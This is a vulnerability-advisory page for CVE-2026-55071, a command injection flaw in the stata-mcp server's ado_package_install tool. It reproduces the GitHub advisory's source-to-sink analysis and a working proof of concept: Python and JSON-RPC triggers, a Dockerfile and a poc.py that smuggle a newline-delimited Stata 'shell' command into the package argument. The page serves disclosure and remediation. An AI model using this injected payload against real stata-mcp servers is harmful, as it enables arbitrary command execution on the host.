Skip to main content

stata-mcp CVE-2026-55071

HIGH
Code Injection (CWE-94)
2026-08-12 https://github.com/SepineTam/mcp-for-stata GHSA-49m4-vp58-wgc9
8.4
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
8.4 HIGH
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI
8.4 HIGH

Local vector matches default MCP server deployment; PR:N confirmed because the vulnerable tool is active in the default profile requiring no authentication or privilege; full C/I/A impact from unrestricted OS shell execution.

3.1 AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Aug 12, 2026 - 20:00 vuln.today
Analysis Generated
Aug 12, 2026 - 20:00 vuln.today
CVE Published
Aug 12, 2026 - 19:23 github-advisory
HIGH 8.4

DescriptionGitHub Advisory

Stata Command Injection via Unsanitized package in ado_package_install

Summary

The ado_package_install MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the package argument to inject arbitrary Stata commands. Because Stata supports a shell escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default all profile, so no non-default configuration is required. Base CVSS score is 8.4 (High).

Details

The vulnerability originates in SSC_Install.install():

python
# src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:14-16
def install(self, package: str) -> str:
    install_command = f"ssc install {package}{self.REPLACE_MESSAGE}"
    runner_result = self.controller.run(install_command)

The package parameter is interpolated into an f-string with no allowlist check, newline rejection, or quoting. The resulting command string is forwarded to the Stata interpreter verbatim:

python
# src/stata_mcp/stata/stata_controller/controller.py:98-99
# Send the command
self.child.sendline(command)

pexpect.sendline() writes the full multi-line string to the Stata REPL, which executes each line as a separate Stata command. Because Stata's shell (and !) commands execute an OS shell command, a newline-delimited payload results in OS command execution.

The full source-to-sink data flow is:

  1. Exposure - src/stata_mcp/mcp_servers.py:626-632: _TOOL_REGISTRY registers ado_package_install in the all profile.
  2. Default activation - src/stata_mcp/cli/_handlers.py:295-300: when no --core/--all flag is given the profile defaults to all, so the tool is always enabled.
  3. Propagation - src/stata_mcp/mcp_servers.py:308-349: the MCP argument package is passed to installer(...).install(*args) without validation.
  4. Sink construction - src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:15: package is interpolated into install_command.
  5. Delivery - src/stata_mcp/stata/stata_controller/controller.py:99: self.child.sendline(command) sends the attacker-influenced string to Stata.

A guard/blacklist (src/stata_mcp/guard/blacklist.py:41-60) registers shell, !, winexec, unixcmd, and similar strings as dangerous commands, but the GuardValidator that enforces this list is invoked only on the stata_do path and is not called anywhere in the ado-install path, making the guard entirely ineffective against this attack.

PoC

Prerequisites

  • Unix-like host with a configured Stata CLI, or use the provided Docker image which replaces the Stata binary with a minimal Python stub (fake_stata.py) that honours the shell command.

Container-based reproduction (no Stata license required)

bash
# Build (run from the repository root)
docker build -t stata-mcp-poc-001 \
    -f vuln-001/Dockerfile \
    reports/pypiAi_828_SepineTam__stata-mcp/
# Run
docker run --rm stata-mcp-poc-001

Direct Python trigger (unmodified source)

python
import os
from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install

MARKER = "/tmp/stata_mcp_ado_poc"
PAYLOAD = f"outreg2\nshell touch {MARKER}\n//"

installer = SSC_Install("/usr/local/bin/stata", is_replace=True, timeout=10)
installer.install(PAYLOAD)

assert os.path.exists(MARKER), "RCE not confirmed"
print("RCE CONFIRMED - marker file created")

The payload "outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//" is expanded by the f-string at ssc_install.py:15 into:

ssc install outreg2
shell touch /tmp/stata_mcp_ado_poc
//, replace

Stata executes the second line as an OS shell command. The trailing // comment neutralises the , replace suffix so Stata does not raise a syntax error.

MCP JSON-RPC trigger

json
{
  "tool": "ado_package_install",
  "arguments": {
    "source": "ssc",
    "package": "outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//",
    "is_replace": true
  }
}

Expected output

[+] PASS - RCE CONFIRMED
[+] Marker file exists: /tmp/stata_mcp_ado_poc
[+] The injected Stata 'shell' command was executed by the REPL.

Phase 2 dynamic reproduction confirmed the marker file /tmp/stata_mcp_ado_poc was created inside the Docker container, and install() returned a string containing the injected command:

Installation State: False
ssc install outreg2\r\nshell touch /tmp/stata_mcp_ado_poc\r\n//, replace

Impact

This is a Code/Command Injection (RCE) vulnerability. Any principal who can call the ado_package_install MCP tool or the equivalent Python API - including an AI model or agent connected to the MCP server, a local script, or a remote HTTP client if the HTTP transport is exposed - can execute arbitrary OS commands with the privileges of the user running the Stata-MCP server.

Because the tool is registered in the default all profile and all is the default active profile, no misconfiguration by the victim is required. All users of stata-mcp on the affected version who run stata-mcp server are impacted.

Concrete consequences include: exfiltration of credentials and data accessible to the process, persistence via cron/startup entries, lateral movement within the local network, and complete compromise of the host user account.

Reproduction artifacts

Dockerfile
dockerfile
# Dockerfile for VULN-001 dynamic reproduction
# Build context must be the parent directory:
#   docker build -t stata-mcp-poc-001 -f vuln-001/Dockerfile .
#
# Vulnerability: Stata Command Injection via unsanitized `package` in
#   SSC_Install.install() (ssc_install.py:15).
#
# Strategy: replace the real Stata binary with a minimal Python script
#   (fake_stata.py) that honours the 'shell <cmd>' Stata command.
#   The vulnerable stata-mcp code is installed unmodified from the repo.

FROM python:3.11-slim
# Install pexpect -- the only runtime dependency required by the PoC
# (StataController imports pexpect; all other imports are stdlib-only).
RUN pip install --no-cache-dir pexpect==4.9.0
# ------------------------------------------------------------------
# Fake Stata binary
# ------------------------------------------------------------------
# Placed at /usr/local/bin/stata so StataFinder (Linux) can auto-discover
# it and the PoC can reference it by absolute path.
COPY vuln-001/fake_stata.py /usr/local/bin/stata
RUN chmod +x /usr/local/bin/stata
# ------------------------------------------------------------------
# Vulnerable package (unmodified source)
# ------------------------------------------------------------------
COPY repo/src /workspace/src
ENV PYTHONPATH=/workspace/src
# ------------------------------------------------------------------
# PoC script
# ------------------------------------------------------------------
COPY vuln-001/poc.py /workspace/poc.py

WORKDIR /workspace
CMD ["python3", "/workspace/poc.py"]
poc.py
python
#!/usr/bin/env python3
"""
PoC for VULN-001: Stata Command Injection via unsanitized `package` in
`ado_package_install` (SSC path).

Vulnerable code:
    ssc_install.py:15
        install_command = f"ssc install {package}{self.REPLACE_MESSAGE}"
    controller.py:99
        self.child.sendline(command)

Attack: embed a newline in `package` to inject an additional Stata command.
    package = "outreg2\\nshell touch /tmp/stata_mcp_ado_poc\\n//"

The constructed command string becomes:
    ssc install outreg2
    shell touch /tmp/stata_mcp_ado_poc
    //, replace

pexpect delivers this multi-line string verbatim to the Stata REPL via
sendline(), causing Stata to execute 'shell touch /tmp/stata_mcp_ado_poc',
which runs the OS command 'touch /tmp/stata_mcp_ado_poc'.

Marker file creation confirms RCE.
"""
import os
import sys

FAKE_STATA = "/usr/local/bin/stata"
MARKER_FILE = "/tmp/stata_mcp_ado_poc"
# Payload: legit package name, then injected shell command, then comment to
# neutralise the ", replace" suffix appended by REPLACE_MESSAGE.
PAYLOAD = f"outreg2\nshell touch {MARKER_FILE}\n//"


def main() -> int:
    print("=" * 60)
    print("VULN-001 PoC: Stata Command Injection via ado_package_install")
    print("=" * 60)
    print(f"[*] Fake Stata binary : {FAKE_STATA}")
    print(f"[*] Marker file       : {MARKER_FILE}")
    print(f"[*] Payload (repr)    : {PAYLOAD!r}")
    print()
# Clean up any previous run.
    if os.path.exists(MARKER_FILE):
        os.remove(MARKER_FILE)
        print(f"[*] Removed pre-existing marker file.")
# Import the vulnerable class directly -- no MCP or config layer needed.
# The vulnerability lives entirely in SSC_Install.install() and the
# StataController that sends the command to the Stata REPL.
    from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install

    print("[*] Instantiating SSC_Install with fake Stata binary...")
    installer = SSC_Install(FAKE_STATA, is_replace=True, timeout=10)

    print(f"[*] Calling install({PAYLOAD!r}) ...")
    try:
        result = installer.install(PAYLOAD)
        print(f"[*] install() returned: {result[:200]!r}")
    except Exception as exc:
# A RuntimeError from StataController is acceptable; the shell command
# may have already executed before the error is detected.
        print(f"[!] install() raised (may be expected): {type(exc).__name__}: {exc}")

    print()
# --- Verdict ---
    if os.path.exists(MARKER_FILE):
        print("[+] PASS - RCE CONFIRMED")
        print(f"[+] Marker file exists: {MARKER_FILE}")
        print("[+] The injected Stata 'shell' command was executed by the REPL.")
        print("[+] Constructed command delivered via sendline():")
        print("[+]   ssc install outreg2")
        print(f"[+]   shell touch {MARKER_FILE}  <-- OS command executed here")
        print("[+]   //")
        return 0
    else:
        print("[-] FAIL - Marker file not found.")
        print("[-] The injected shell command did not produce the expected artefact.")
        return 1


if __name__ == "__main__":
    sys.exit(main())

AnalysisAI

Command injection in stata-mcp (pip:stata-mcp < 1.19.0) enables full OS-level remote code execution against any principal that can invoke the ado_package_install MCP tool. The package argument is concatenated unsanitized into a Stata command string delivered via pexpect.sendline(), allowing embedded newline characters to inject arbitrary Stata commands - including the shell escape - that execute under the account running the MCP server. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Obtain access to stata-mcp server endpoint
Delivery
Craft package argument with embedded newline characters
Exploit
Call ado_package_install MCP tool via JSON-RPC
Execution
f-string injection expands payload into multi-line Stata commands
Persist
pexpect.sendline() delivers injected commands to Stata REPL
Impact
Stata executes injected shell command with server process privileges

Vulnerability AssessmentAI

Exploitation The `ado_package_install` MCP tool must be reachable by the attacker - in versions prior to 1.19.0, the tool is registered in the `all` profile which is the active default when the server is launched without explicit `--core` or `--all` flags, meaning no non-default configuration is required on the victim's part. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The provided CVSS 3.1 score of 8.4 High (AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) accurately reflects the local-access, no-privilege, no-interaction characteristics of the default deployment where the MCP server accepts connections locally. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An AI agent or local script with access to the stata-mcp server sends a JSON-RPC call to the `ado_package_install` tool with a crafted `package` value containing embedded newline characters, such as `outreg2 shell touch /tmp/pwned //`. The f-string interpolation at ssc_install.py:15 expands this into a three-line Stata command block, which pexpect.sendline() delivers verbatim to the running Stata REPL; Stata executes the injected `shell` command as an OS subshell under the server process's account. …
Remediation The primary fix is to upgrade stata-mcp to version 1.19.0 or later, available via pip: `pip install --upgrade stata-mcp`. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, inventory all systems running stata-mcp, identify current versions, and immediately restrict network access to any exposed MCP servers to trusted internal networks only-publicly available exploit code exists. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

CVE-2024-23054 CRITICAL POC
9.8 Feb 05

An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du

CVE-2026-53576 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution in Kestra orchestration platform before 1.0.45 and 1.3.21 lets anonymous attackers

Share

CVE-2026-55071 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy